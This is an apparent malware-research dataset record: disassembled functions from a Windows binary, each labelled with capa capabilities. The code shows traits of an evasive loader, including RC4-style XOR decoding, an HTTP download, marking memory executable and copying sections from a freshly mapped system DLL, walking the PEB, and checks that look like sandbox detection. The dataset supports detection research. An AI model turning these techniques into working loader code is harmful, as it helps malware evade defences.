joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14000b638
Capabilities:
Extract resource via kernel32 functions

Disassembly:
movzx edx, dx
jmp method.CDialog.virtual_720
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov qword [rcx + 0xf0], rdx
mov rbp, r8
mov rdi, rdx
mov rbx, rcx
cmp rdx, 0x10000
jae 0x1400207cb
cmp dword [rcx + 0xe8], 0
jne 0x1400207cb
movzx eax, dx
mov dword [rcx + 0xe8], eax
call fcn.140023acc
mov r8d, 5
mov rdx, rdi
mov rsi, qword [rax + 0x18]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FindResourceW]
test rax, rax
je 0x14002080f
mov rdx, rax
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_LoadResource]
test rax, rax
je 0x14002080f
mov r9, rsi
mov r8, rbp
mov rdx, rax
mov rcx, rbx
call fcn.140021008
jmp 0x140020811
xor eax, eax
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret

Function at 0x14000d7ed
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x38
mov rsi, rcx
call fcn.140018f10
mov rdi, rax
movsxd rax, dword [rax + 0x3c]
mov eax, dword [rdi + rax + 0x88]
mov ecx, dword [rdi + rax + 0x14]
mov qword [rsp + 0x28], rcx
test rcx, rcx
je 0x14000d888
mov ecx, dword [rdi + rax + 0x1c]
add rcx, rdi
mov qword [rsp + 0x30], rcx
mov r12d, dword [rdi + rax + 0x20]
add r12, rdi
mov r13d, dword [rdi + rax + 0x24]
add r13, rdi
mov ebp, dword [rdi + rax + 0x18]
xor ebx, ebx
mov rax, qword [rsp + 0x30]
mov r14d, dword [rax + rbx*4]
test r14, r14
je 0x14000d87e
test ebp, ebp
je 0x14000d87e
xor r15d, r15d
movzx eax, word [r13 + r15*2]
cmp rbx, rax
jne 0x14000d876
mov ecx, dword [r12 + r15*4]
add rcx, rdi
mov rdx, rsi
call fcn.1401d41a0
test eax, eax
je 0x14000d88c
inc r15
cmp rbp, r15
jne 0x14000d858
inc rbx
cmp rbx, qword [rsp + 0x28]
jne 0x14000d843
xor eax, eax
jmp 0x14000d892
add rdi, r14
mov rax, rdi
add rsp, 0x38
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
Function at 0x14000dda0
Capabilities:
Create thread

Disassembly:
push rsi
push rdi
sub rsp, 0x38
mov edi, r8d
mov esi, edx
test ecx, ecx
je 0x14000ddca
call fcn.14000f974
test eax, eax
je 0x14000de18
call fcn.14000fa97
test eax, eax
je 0x14000de18
call fcn.14000fb54
test eax, eax
je 0x14000de18
test edi, edi
je 0x14000ddd7
call fcn.14000fc7b
test eax, eax
je 0x14000de18
test esi, esi
je 0x14000de10
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
lea r8, [0x14000fcea]
xor ecx, ecx
xor edx, edx
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
add rsp, 0x38
pop rdi
pop rsi
jmp qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
add rsp, 0x38
pop rdi
pop rsi
ret
mov ecx, 1
call fcn.1401cb874
int3

Function at 0x14000de42
Capabilities:
Encode data using xor

Disassembly:
push r15
push r14
push rsi
push rdi
push rbx
sub rsp, 0x230
mov ebx, r9d
mov r14, r8
mov edi, edx
mov rsi, rcx
mov rax, qword [0x140292580]
xor rax, rsp
mov qword [rsp + 0x228], rax
xor r15d, r15d
lea rcx, [rsp + 0x120]
mov r8d, 0x100
xor edx, edx
call fcn.140011150
lea rcx, [rsp + 0x20]
mov r8d, 0x100
xor edx, edx
call fcn.140011150
mov byte [rsp + r15 + 0x20], r15b
mov eax, r15d
xor edx, edx
div ebx
mov al, byte [r14 + rdx]
mov byte [rsp + r15 + 0x120], al
inc r15
cmp r15, 0x100
jne 0x14000de97
xor eax, eax
xor ecx, ecx
mov dl, byte [rsp + rax + 0x20]
add cl, dl
add cl, byte [rsp + rax + 0x120]
movzx r8d, cl
mov r9b, byte [rsp + r8 + 0x20]
mov byte [rsp + rax + 0x20], r9b
mov byte [rsp + r8 + 0x20], dl
inc rax
cmp rax, 0x100
jne 0x14000debf
test edi, edi
je 0x14000df51
mov eax, edi
xor ecx, ecx
xor edx, edx
xor r8d, r8d
lea r9d, [r8 + 1]
lea r10d, [r8 + 0x100]
test r9d, r9d
cmovns r10d, r9d
and r10d, 0xffffff00
neg r10d
add r8d, r10d
inc r8d
movsxd r9, r8d
mov r10b, byte [rsp + r9 + 0x20]
add dl, r10b
movzx r11d, dl
mov bl, byte [rsp + r11 + 0x20]
mov byte [rsp + r9 + 0x20], bl
mov byte [rsp + r11 + 0x20], r10b
add r10b, byte [rsp + r9 + 0x20]
movzx r9d, r10b
mov r9b, byte [rsp + r9 + 0x20]
xor byte [rsi + rcx], r9b
inc rcx
cmp rax, rcx
jne 0x14000def7
mov rcx, qword [rsp + 0x228]
xor rcx, rsp
call fcn.140048190
nop
add rsp, 0x230
pop rbx
pop rdi
pop rsi
pop r14
pop r15
ret
Function at 0x14000e1a8
Capabilities:
Create http request
Read data from internet
Receive data
Reference http user-agent string

Disassembly:
push r14
push rsi
push rdi
push rbx
mov eax, 0x92888
call fcn.14004a170
sub rsp, rax
mov rbx, rdx
mov r14, rcx
mov rax, qword [0x140292580]
xor rax, rsp
mov qword [rsp + 0x92880], rax
lea rsi, str.Mozilla_5.0__Windows_NT_10.0__Win64__x64__AppleWebKit_537.36__KHTML__like_Gecko__Chrome_107.0.5304.88_Safari_537.36
lea rax, [rsp + 0x92800]
mov ecx, recv
mov rdi, rax
rep movsq qword [rdi], qword [rsi]
mov dword [rax + 0x70], 0x36332e
mov dword [rsp + 0x20], 0
mov rcx, rax
xor edx, edx
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.WININET.dll_InternetOpenA]
test rax, rax
je 0x14000e27f
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x80000000
mov rcx, rax
mov rdx, r14
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
test rax, rax
je 0x14000e27f
mov rsi, rax
lea rdi, [rsp + 0x40]
mov r8d, 0x927c0
mov rcx, rdi
xor edx, edx
call fcn.140011150
lea r9, [rsp + 0x3c]
mov rcx, rsi
mov rdx, rdi
mov r8d, 0x927c0
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x14000e27f
lea rdx, [rsp + 0x40]
mov r8d, 0x927c0
mov rcx, rbx
call fcn.140011220
mov rcx, qword [rsp + 0x92880]
xor rcx, rsp
call fcn.140048190
nop
add rsp, 0x92888
pop rbx
pop rdi
pop rsi
pop r14
ret
Function at 0x14000e513
Capabilities:
Encode data using xor

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x58
lea rbp, [rsp + 0x50]
mov qword [rbp], 0xfffffffffffffffe
mov rbx, r8
mov qword [rbp - 0x10], rdx
mov r13, rcx
lea r15, [rbp - 1]
mov rcx, r15
call fcn.140009c3e
lea r14, [rbp - 0x28]
mov edx, 0x100
mov rcx, r14
mov r8, r15
call fcn.14000e996
xor r15d, r15d
mov rcx, r14
mov rdx, r15
call fcn.14000e9bc
mov byte [rax], r15b
inc r15
cmp r15, 0x100
jne 0x14000e55d
xor r14d, r14d
lea r15, [rbp - 0x28]
xor esi, esi
mov rcx, r15
mov rdx, r14
call fcn.14000e9bc
movzx edi, byte [rax]
add edi, esi
mov rcx, rbx
call fcn.14000e71a
mov rcx, rax
mov rax, r14
xor edx, edx
div rcx
mov rcx, rbx
call fcn.14000e9c4
movsx eax, byte [rax]
mov esi, edi
add esi, eax
lea eax, [rax + rdi + 0xff]
cmovns eax, esi
and eax, 0xffffff00
sub esi, eax
movsxd rdx, esi
mov rcx, r15
call fcn.14000e9bc
mov r12, rax
mov rcx, r15
mov rdx, r14
call fcn.14000e9bc
mov rcx, rax
mov rdx, r12
call fcn.14000e9da
inc r14
cmp r14, 0x100
jne 0x14000e580
mov rcx, r13
mov rsi, qword [rbp - 0x10]
mov rdx, rsi
call fcn.14000bff6
mov rcx, rsi
call fcn.14000e71a
test rax, rax
je 0x14000e6c9
xor ebx, ebx
xor esi, esi
xor edi, edi
lea eax, [rsi + 1]
lea ecx, [rsi + 0x100]
test eax, eax
cmovns ecx, eax
and ecx, 0xffffff00
neg ecx
add esi, ecx
inc esi
movsxd r15, esi
lea r14, [rbp - 0x28]
mov rcx, r14
mov rdx, r15
call fcn.14000e9bc
add dil, byte [rax]
movzx r12d, dil
mov rcx, r14
mov rdx, r12
call fcn.14000e9bc
mov r14, r13
mov r13, rax
lea rcx, [rbp - 0x28]
mov rdx, r15
call fcn.14000e9bc
mov rcx, rax
mov rdx, r13
mov r13, r14
call fcn.14000e9da
lea r14, [rbp - 0x28]
mov rcx, r14
mov rdx, r15
call fcn.14000e9bc
mov r15b, byte [rax]
mov rcx, r14
mov rdx, r12
call fcn.14000e9bc
add r15b, byte [rax]
movzx edx, r15b
mov rcx, r14
call fcn.14000e9bc
mov r15b, byte [rax]
mov rcx, r13
mov rdx, rbx
call fcn.14000e9c4
xor byte [rax], r15b
inc rbx
mov rcx, qword [rbp - 0x10]
call fcn.14000e71a
cmp rax, rbx
ja 0x14000e619
lea rcx, [rbp - 0x28]
call fcn.14000e2a4
mov rax, r13
add rsp, 0x58
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret

Function at 0x14000e71f
Capabilities:
Encode data using xor

Disassembly:
push r15
push r14
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x28
mov esi, r8d
mov rdi, rcx
movsxd rbx, edx
mov rcx, rbx
call fcn.140021c94
mov r14, rax
mov ecx, esi
call fcn.1401d3b64
test ebx, ebx
jle 0x14000e768
xor r15d, r15d
mov bpl, byte [rdi + r15]
xor bpl, sil
call fcn.1401d3b7c
xor al, bpl
mov byte [r14 + r15], al
inc r15
cmp rbx, r15
jne 0x14000e74d
mov rax, r14
add rsp, 0x28
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
pop r15
ret
Function at 0x14000e778
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Read file via mapping

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0xb8
mov rax, qword [0x140292580]
xor rax, rsp
mov qword [rsp + 0xb0], rax
movaps xmm0, xmmword [0x14024c810]
lea rbx, [rsp + 0x90]
movaps xmmword [rbx], xmm0
movabs rax, 0x6c64746e5c32336d
mov qword [rbx + 0x10], rax
mov dword [rbx + 0x18], 0x6c642e6c
mov ax, WSAGetLastError
mov word [rbx + 0x1c], ax
mov dword [rsp + 0x80], 0x7865742e
mov word [rsp + 0x84], reloc.WS2_32.dll_WSACleanup
movabs rcx, 0x6c642e6c6c64746e
lea rsi, [rsp + 0x86]
mov qword [rsi], rcx
mov word [rsi + 8], ax
xor edi, edi
lea r14, [rsp + 0x60]
mov qword [r14 + 0x10], rdi
xorps xmm0, xmm0
movaps xmmword [r14], xmm0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov r15, rax
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov qword [rsp + 0x48], r15
mov rcx, r15
mov qword [rsp + 0x50], rax
mov rdx, rax
mov r8, r14
mov r9d, 0x18
call sub.KERNEL32.dll_K32GetModuleInformation
mov rbp, qword [r14]
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], 3
mov rcx, rbx
mov edx, 0x80000000
mov r8d, 1
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], edi
mov qword [rsp + 0x40], rax
mov rcx, rax
xor edx, edx
mov r8d, 0x1000002
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov qword [rsp + 0x20], rdi
mov rcx, rax
mov edx, 4
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov r14, rax
movsxd rsi, dword [rbp + 0x3c]
movzx r12d, word [rsi + rbp + 6]
test r12w, r12w
je 0x14000e94b
lea rdi, [rsi + rbp]
add rdi, 0x18
xor ebx, ebx
lea r15, [rsp + 0x80]
movzx r13d, word [rbp + rsi + 0x14]
add r13, rdi
mov rcx, r13
mov rdx, r15
call fcn.1401d41a0
test eax, eax
jne 0x14000e93b
mov dword [rsp + 0x5c], 0
mov edx, dword [r13 + 8]
mov ecx, dword [r13 + 0xc]
add rcx, rbp
mov r8d, 0x40
lea r9, [rsp + 0x5c]
mov r12, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call r12
mov r8d, dword [r13 + 8]
mov edx, dword [r13 + 0xc]
lea rcx, [rdx + rbp]
add rdx, r14
call fcn.140011220
mov r8d, dword [rsp + 0x5c]
mov edx, dword [r13 + 8]
mov ecx, dword [r13 + 0xc]
add rcx, rbp
xor r9d, r9d
call r12
movzx r12d, word [rbp + rsi + 6]
inc rbx
movzx eax, r12w
add rdi, 0x28
cmp rbx, rax
jb 0x14000e8cb
mov rsi, qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x48]
call rsi
mov rcx, qword [rsp + 0x40]
call rsi
mov rcx, r14
call rsi
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov rcx, qword [rsp + 0xb0]
xor rcx, rsp
call fcn.140048190
nop
add rsp, 0xb8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
Function at 0x14000f974
Capabilities:
Enumerate files on windows
Get common file path

Disassembly:
push rbp
push r14
push rsi
push rdi
push rbx
sub rsp, 0x2c0
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x238], 0xfffffffffffffffe
mov ecx, 0x208
call fcn.140021c94
mov rdi, rax
mov qword [rsp + 0x20], rax
xor esi, esi
xor ecx, ecx
mov edx, reloc.WS2_32.dll_recv
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
jne 0x14000fa59
lea rsi, [rbp + 0x218]
mov rcx, rsi
mov rdx, rdi
call fcn.14000fd0e
lea r8, [0x14025fef6]
lea rcx, [rbp + 0x1f8]
mov rdx, rsi
call fcn.1400102ba
lea rdi, [rbp + 0x1f8]
mov rcx, rdi
call fcn.14000fdfa
lea rdx, [rbp - 0x58]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov rsi, rax
mov rcx, rdi
call fcn.14000fe00
lea rcx, [rbp + 0x218]
call fcn.14000fe00
cmp rsi, 0xffffffffffffffff
je 0x14000fa57
mov ebx, 0xffffffff
lea rdi, [rbp - 0x58]
mov r14, qword [sym.imp.KERNEL32.dll_FindNextFileW]
mov rcx, rsi
mov rdx, rdi
call r14
inc ebx
test eax, eax
jne 0x14000fa34
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FindClose]
xor esi, esi
cmp ebx, 0xa
setae sil
jmp 0x14000fa59
xor esi, esi
mov eax, esi
add rsp, 0x2c0
pop rbx
pop rdi
pop rsi
pop r14
pop rbp
ret

Function at 0x14000fb54
Capabilities:
Enumerate files on windows
Get common file path

Disassembly:
push rbp
push r14
push rsi
push rdi
push rbx
sub rsp, 0x2c0
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x238], 0xfffffffffffffffe
lea rcx, [0x1401f87a8]
xor esi, esi
lea r9, [rbp + 0x230]
xor edx, edx
xor r8d, r8d
call sub.SHELL32.dll_SHGetKnownFolderPath
test eax, eax
jne 0x14000fc3d
mov rdx, qword [rbp + 0x230]
lea rsi, [rbp + 0x210]
mov rcx, rsi
call fcn.14000fd0e
mov rcx, qword [rbp + 0x230]
call qword [sym.imp.ole32.dll_CoTaskMemFree]
lea r8, [0x14025fef6]
lea rcx, [rbp + 0x1f0]
mov rdx, rsi
call fcn.14000fd7e
lea rdi, [rbp + 0x1f0]
mov rcx, rdi
call fcn.14000fdfa
lea rdx, [rbp - 0x60]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov rsi, rax
mov rcx, rdi
call fcn.14000fe00
cmp rsi, 0xffffffffffffffff
je 0x14000fc2f
mov ebx, 0xffffffff
lea rdi, [rbp - 0x60]
mov r14, qword [sym.imp.KERNEL32.dll_FindNextFileW]
mov rcx, rsi
mov rdx, rdi
call r14
inc ebx
test eax, eax
jne 0x14000fc0c
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FindClose]
xor esi, esi
cmp ebx, 9
setae sil
jmp 0x14000fc31
xor esi, esi
lea rcx, [rbp + 0x210]
call fcn.14000fe00
mov eax, esi
add rsp, 0x2c0
pop rbx
pop rdi
pop rsi
pop r14
pop rbp
ret
Function at 0x140010f08
Capabilities:
Read .ini file

Disassembly:
push rbp
push rsi
push rdi
sub rsp, 0xb0
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x28], 0xfffffffffffffffe
mov rsi, rcx
lea rax, str.._InitSystem.ini
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0x20
lea rcx, str.Base
lea rdx, str.ServerIPAddress
lea r8, str.0.0.0.0
lea rdi, [rbp - 0x20]
mov r9, rdi
call qword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
add rsi, 0x180
mov rcx, rsi
mov rdx, rdi
call fcn.14000b102
mov rcx, rsi
call fcn.140011056
test al, al
jne 0x140010f93
lea rdx, str.0.0.0.0
mov rcx, rsi
call fcn.140011069
mov ecx, eax
mov eax, 1
test cl, cl
je 0x14001100c
mov rsi, rbp
mov rcx, rsi
call fcn.14001bacc
lea rdx, [0x14025fe64]
mov rcx, rsi
mov r8d, 0x1002
xor r9d, r9d
call fcn.14001bc28
test eax, eax
je 0x140011002
movaps xmm0, xmmword [0x14024c880]
lea rsi, [rbp - 0x50]
movaps xmmword [rsi], xmm0
movaps xmm0, xmmword [0x14024c890]
movaps xmmword [rsi + 0x10], xmm0
mov dword [rsi + 0x20], 0x312e3637
mov word [rsi + 0x24], 0x3033
mov byte [rsi + 0x26], 0
mov rcx, rsi
call fcn.1401d4220
mov rcx, rbp
mov rdx, rsi
mov r8d, eax
call fcn.14001c094
mov rcx, rbp
call fcn.14001c214
mov rcx, rbp
call fcn.14001c278
xor eax, eax
add rsp, 0xb0
pop rdi
pop rsi
pop rbp
ret

Function at 0x140018f10
Capabilities:
Access peb ldr_data

Disassembly:
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x20]
mov rax, qword [rax]
mov rax, qword [rax]
mov rax, qword [rax + 0x20]
ret

Function at 0x14001bfec
Capabilities:
Get file size

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, rcx
lea rdx, [rsp + 0x34]
mov rcx, qword [rcx + 8]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x30], eax
cmp eax, 0xffffffff
jne 0x14001c017
call qword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x14001c022
mov rax, qword [rsp + 0x30]
add rsp, 0x20
pop rbx
ret
lea rcx, [rbx + 0x18]
call fcn.14000abe0
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, eax
mov rdx, rbx
call fcn.140048744
int3

Function at 0x14001c040
Capabilities:
Read file on windows

Disassembly:
push rbx
sub rsp, 0x30
mov rbx, rcx
test r8d, r8d
jne 0x14001c052
xor eax, eax
jmp 0x14001c06f
mov rcx, qword [rcx + 8]
lea r9, [rsp + 0x50]
and qword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x14001c075
mov eax, dword [rsp + 0x50]
add rsp, 0x30
pop rbx
ret
lea rcx, [rbx + 0x18]
call fcn.14000abe0
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, eax
mov rdx, rbx
call fcn.140048744
int3
Function at 0x14001c094
Capabilities:
Write file on windows

Disassembly:
test r8d, r8d
je 0x14001c0d2
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x30
and qword [rsp + 0x20], 0
lea r9, [rsp + 0x50]
mov rdi, rcx
mov ebx, r8d
mov rcx, qword [rcx + 8]
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x14001c0d3
cmp dword [rsp + 0x50], ebx
jne 0x14001c0f0
mov rbx, qword [rsp + 0x40]
add rsp, 0x30
pop rdi
ret
lea rcx, [rdi + 0x18]
call fcn.14000abe0
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, eax
mov rdx, rbx
call fcn.140048744
int3
lea rcx, [rdi + 0x18]
call fcn.14000abe0
or edx, 0xffffffff
mov r8, rax
lea ecx, [rdx + 0xe]
call fcn.14004840c
int3
Function at 0x14001cd4c
Capabilities:
Get common file path

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push r14
sub rsp, 0x20
xor ebx, ebx
mov r14, r8
mov rdi, rdx
mov r8, rcx
test rdx, rdx
je 0x14001cdec
movzx eax, word [rdx]
mov r9d, ebx
jmp 0x14001cd88
movzx eax, ax
add rax, rdx
mov rdx, rax
inc r9d
movzx eax, word [rax]
test ax, ax
jne 0x14001cd79
test r9d, r9d
je 0x14001cdec
cmp r9d, 1
jne 0x14001cdac
mov r8, r14
xor edx, edx
xor ecx, ecx
call sub.SHELL32.dll_SHGetSpecialFolderLocation
test eax, eax
js 0x14001ce05
xor eax, eax
jmp 0x14001cdef
lea esi, [r9 - 1]
mov rcx, rdi
test esi, esi
je 0x14001cdc8
mov edx, esi
movzx eax, word [rcx]
add bx, ax
add rcx, rax
sub rdx, 1
jne 0x14001cdb9
movzx edx, bx
mov rcx, r8
add edx, 2
call fcn.14001cb60
movzx r8d, bx
mov rdx, rdi
mov rcx, rax
mov qword [r14], rax
call fcn.1401ea920
mov eax, esi
jmp 0x14001cdef
or eax, 0xffffffff
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
mov rdi, qword [rsp + 0x40]
add rsp, 0x20
pop r14
ret
call fcn.140024654
int3
Function at 0x14001d4ec
Capabilities:
Resolve dns

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r14
push r15
sub rsp, 0x60
lea rbp, [rsp + 0x40]
mov rax, qword [0x140292580]
xor rax, rbp
mov qword [rbp + 0x18], rax
mov r12d, r8d
mov r14, rdx
mov r15, rcx
xor ebx, ebx
mov qword [rbp], rbx
test rdx, rdx
jne 0x14001d52c
mov ecx, 0x2726
jmp 0x14001d673
xor edx, edx
lea r8d, [rdx + 0x10]
lea rcx, [rbp + 8]
call fcn.1401eafc0
mov rcx, r14
call fcn.1401d4d0c
inc eax
cdqe
lea rsi, [rax + rax]
mov eax, 0x80000000
add rax, rsi
mov ecx, 0xffffffff
cmp rax, rcx
ja 0x14001d66e
movsxd rdi, esi
cmp esi, 0x400
jg 0x14001d59e
mov rcx, rdi
call fcn.14001cf34
test al, al
je 0x14001d59e
lea rax, [rdi + 0xf]
cmp rax, rdi
ja 0x14001d58b
movabs rax, 0xffffffffffffff0
and rax, 0xfffffffffffffff0
call fcn.14004a170
sub rsp, rax
lea rdi, [rsp + 0x40]
jmp 0x14001d5cf
mov rax, rdi
not rax
cmp rax, 0x10
jb 0x14001d6aa
lea rcx, [rdi + 0x10]
call fcn.1401d3b5c
test rax, rax
jne 0x14001d5c0
xor edi, edi
jmp 0x14001d5cf
and qword [rax], 0
mov rbx, rax
mov qword [rbp], rax
lea rdi, [rax + 0x10]
test rdi, rdi
je 0x14001d66e
mov byte [rdi], 0
and qword [rsp + 0x38], 0
and qword [rsp + 0x30], 0
mov dword [rsp + 0x28], esi
mov qword [rsp + 0x20], rdi
or r9d, 0xffffffff
mov r8, r14
xor edx, edx
lea ecx, [rdx + 3]
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
test eax, eax
je 0x14001d66e
mov eax, 2
mov word [rbp + 8], ax
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_inet_addr]
mov dword [rbp + 0xc], eax
mov ecx, 0xffffffff
cmp eax, ecx
jne 0x14001d642
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_gethostbyname]
test rax, rax
je 0x14001d522
mov rax, qword [rax + 0x18]
mov rcx, qword [rax]
mov eax, dword [rcx]
mov dword [rbp + 0xc], eax
movzx ecx, r12w
call qword [sym.imp.WS2_32.dll_htons]
mov word [rbp + 0xa], ax
mov rax, qword [r15]
mov r8d, reloc.WS2_32.dll_recv
lea rdx, [rbp + 8]
mov rcx, r15
mov rax, qword [rax + 0x68]
call qword [case.0x14003dd26.0]
mov edi, eax
jmp 0x14001d67b
mov ecx, 8
call qword [sym.imp.WS2_32.dll_WSASetLastError]
xor edi, edi
jmp 0x14001d688
mov rcx, rbx
mov rbx, qword [rbx]
call fcn.1401d2d10
test rbx, rbx
jne 0x14001d67d
mov eax, edi
mov rcx, qword [rbp + 0x18]
xor rcx, rbp
call fcn.140048190
lea rsp, [rbp + 0x20]
pop r15
pop r14
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret
mov ecx, 0x80070216
call fcn.140009fb5
int3

Function at 0x14001dbd4
Capabilities:
Connect socket

Disassembly:
sub rsp, 0x28
mov rcx, qword [rcx + 8]
call qword [sym.imp.WS2_32.dll_connect]
xor ecx, ecx
cmp eax, 0xffffffff
setne cl
mov eax, ecx
add rsp, 0x28
ret
Function at 0x140020390
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov rsi, r8
mov rbx, rdx
mov rbp, rcx
call fcn.140023acc
mov r8d, 5
mov rdx, rbx
mov rdi, qword [rax + 0x18]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FindResourceW]
test rax, rax
je 0x1400203fa
mov rdx, rax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_LoadResource]
test rax, rax
je 0x1400203fa
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov r9, rdi
mov r8, rsi
mov rdx, rax
mov rcx, rbp
call fcn.140020414
jmp 0x1400203fc
xor eax, eax
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret

Function at 0x14002078c
Capabilities:
Extract resource via kernel32 functions

Disassembly:
movzx edx, dx
jmp method.CDialog.virtual_720
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov qword [rcx + 0xf0], rdx
mov rbp, r8
mov rdi, rdx
mov rbx, rcx
cmp rdx, 0x10000
jae 0x1400207cb
cmp dword [rcx + 0xe8], 0
jne 0x1400207cb
movzx eax, dx
mov dword [rcx + 0xe8], eax
call fcn.140023acc
mov r8d, 5
mov rdx, rdi
mov rsi, qword [rax + 0x18]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FindResourceW]
test rax, rax
je 0x14002080f
mov rdx, rax
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_LoadResource]
test rax, rax
je 0x14002080f
mov r9, rsi
mov r8, rbp
mov rdx, rax
mov rcx, rbx
call fcn.140021008
jmp 0x140020811
xor eax, eax
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret